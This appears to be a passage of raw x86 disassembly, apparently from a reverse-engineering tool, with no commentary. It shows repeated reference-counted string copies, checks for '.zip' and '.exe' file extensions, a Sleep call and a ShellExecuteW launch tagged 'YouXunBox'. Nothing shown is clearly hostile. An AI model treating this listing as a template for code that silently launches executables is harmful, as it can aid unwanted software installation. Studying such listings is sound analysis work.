mov dword [ecx], esi
mov byte [esp + 0xe0], 0x2d
mov edi, dword [0x48e3f0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41131b
cmp eax, dword [edi]
jne 0x41131b
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411356
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x30]
mov byte [esp + 0xe4], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4113a5
cmp eax, dword [esi]
jne 0x4113a5
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4113e0
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x41031e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x2e
mov edi, dword [esp + 0x60]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411425
cmp eax, dword [edi]
jne 0x411425
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411460
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x2f
mov edi, dword [0x48e3f0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4114a7
cmp eax, dword [edi]
jne 0x4114a7
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4114e2
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x5c]
mov byte [esp + 0xe4], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411531
cmp eax, dword [esi]
jne 0x411531
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41156c
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x41031e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x30
mov edi, dword [esp + 0xac]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4115b4
cmp eax, dword [edi]
jne 0x4115b4
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4115ef
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x31
mov edi, dword [0x48e3f0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411636
cmp eax, dword [edi]
jne 0x411636
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411671
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x88]
mov byte [esp + 0xe4], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4116c3
cmp eax, dword [esi]
jne 0x4116c3
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4116fe
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x41031e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x32
mov esi, dword [esp + 0xb0]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
lea edi, [esp + 0x48]
mov dword [esp + 0x28], esp
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esi
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x41174c
cmp eax, dword [esi]
jne 0x41174c
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41178d
mov edx, dword [eax]
mov edx, dword [edx]
mov ecx, esi
mov ecx, dword [ecx + 4]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 4]
lea edx, [eax + eax + 2]
push edx
add ecx, 0x10
push ecx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00452e66
add esp, 0x10
mov edx, dword [esp + 0x1c]
add esi, 0x10
mov dword [edx], esi
mov byte [esp + 0xe0], 0x33
mov eax, dword [0x48e3f0]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov esi, edi
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x34
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x54]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x35
mov eax, dword [0x48e3f0]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x36
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa8]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x37
mov eax, dword [0x48e3f0]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov edi, esp
push eax
call fcn.00402270
add esp, 4
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x38
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x44]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x39
mov eax, dword [0x48e3f0]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x3a
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x90]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x3b
mov eax, dword [0x48e3f0]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x3c
lea esi, [esp + 0xac]
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x3d
mov eax, dword [0x48e3f0]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x3e
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa0]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x3f
mov eax, dword [0x48e3f0]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x40
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x94]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x41
mov eax, dword [0x48e3f0]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 0x42
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x50]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe4], 0x43
mov eax, dword [0x48e3f0]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], bl
call fcn.00409260
mov eax, dword [esp + 0x94]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00412b50
test eax, eax
jne 0x411e40
mov eax, dword [esp + 0x44]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
mov ecx, dword [ebp + 8]
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00412be0
test eax, eax
jne 0x411e40
mov eax, dword [esp + 0x40]
cmp dword [eax - 0xc], 0
je 0x411e40
push 4
lea ecx, [esp + 0x9c]
push ecx
lea ecx, [esp + 0x30]
call fcn.00404b60
mov byte [esp + 0xd8], 0x44
mov edi, dword [esp + 0x98]
cmp dword [edi - 0xc], 0
jl 0x411c30
push str..zip
push edi
call fcn.004536a5
add esp, 8
test eax, eax
je 0x411c0b
sub eax, edi
sar eax, 1
cmp eax, 0xffffffff
jne 0x411cac
cmp dword [edi - 0xc], 0
jl 0x411c30
push str..exe
push edi
call fcn.004536a5
add esp, 8
test eax, eax
je 0x411c30
sub eax, edi
sar eax, 1
cmp eax, 0xffffffff
jne 0x411cac
mov edx, dword [esp + 0x38]
push edx
call fcn.0045371c
add esp, 4
push eax
mov eax, dword [esp + 0x40]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x28], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 0x4c
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
mov dword [esp + 0x28], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe8], 0x4d
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0xe8], 0x44
call fcn.00412460
jmp 0x411e1d
mov eax, dword [esp + 0xa4]
push eax
call fcn.0045371c
add esp, 4
push eax
mov eax, dword [esp + 0x80]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x28], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
add esp, 4
mov dword [esi], eax
mov byte [esp + 0xe0], 0x45
mov ecx, dword [esp + 0x50]
push ecx
call fcn.0045371c
mov edx, dword [esp + 0x5c]
add esp, 4
push eax
push edx
call fcn.0045371c
add esp, 4
push eax
mov eax, dword [esp + 0xa4]
push eax
call fcn.0045371c
mov ecx, dword [esp + 0x98]
add esp, 4
push eax
push ecx
call fcn.0045371c
add esp, 4
push eax
mov eax, dword [esp + 0x50]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x38], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x46
mov eax, dword [esp + 0xbc]
add eax, 0xfffffff0
mov dword [esp + 0x34], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xfc], 0x47
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
mov dword [esp + 0x34], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x100], 0x48
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
mov dword [esp + 0xec], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x104], 0x49
mov eax, dword [esp + 0x68]
mov dword [esp + 0xe8], esp
mov esi, esp
add eax, 0xfffffff0
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x108], 0x4a
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
mov dword [esp + 0xf0], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x10c], 0x4b
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0xfc], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x10c], 0x44
call fcn.00409780
add esp, 0x34
lea eax, [edi - 0x10]
mov byte [esp + 0xd8], bl
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x411e40
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
inc eax
cmp eax, dword [esp + 0xa0]
mov dword [esp + 0x34], eax
jle 0x410b60
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x168], 0
je 0x411ec7
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x411ec7
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0xb8]
push str.YouXunBox
push edx
lea eax, [esp + 0x34]
push eax
call fcn.00404c60
mov eax, dword [eax]
mov ecx, dword [esp + 0xc0]
add esp, 0xc
push 5
push eax
push 0
push ecx
push 0x4782f8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x411ec7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x24
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411ef2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x23
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411f1a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x22
mov eax, dword [esp + 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411f45
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x21
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411f70
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x20
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411f9b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1f
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411fc3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1e
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411feb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1d
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412016
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1c
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41203e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1b
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412069
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x1a
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412091
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x19
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4120b9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x18
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4120e1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x17
mov eax, dword [esp + 0x78]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412109
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x16
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412131
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x15
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412159
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x14
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412184
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x13
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4121af
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x12
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4121d7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x11
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412202
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0x10
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41222d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xf
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412255
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xe
mov eax, dword [esp + 0x9c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412280
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xd
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4122a8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xc
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4122d0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xb
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4122f8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 0xa
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412320
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xd8], 9
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412348
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
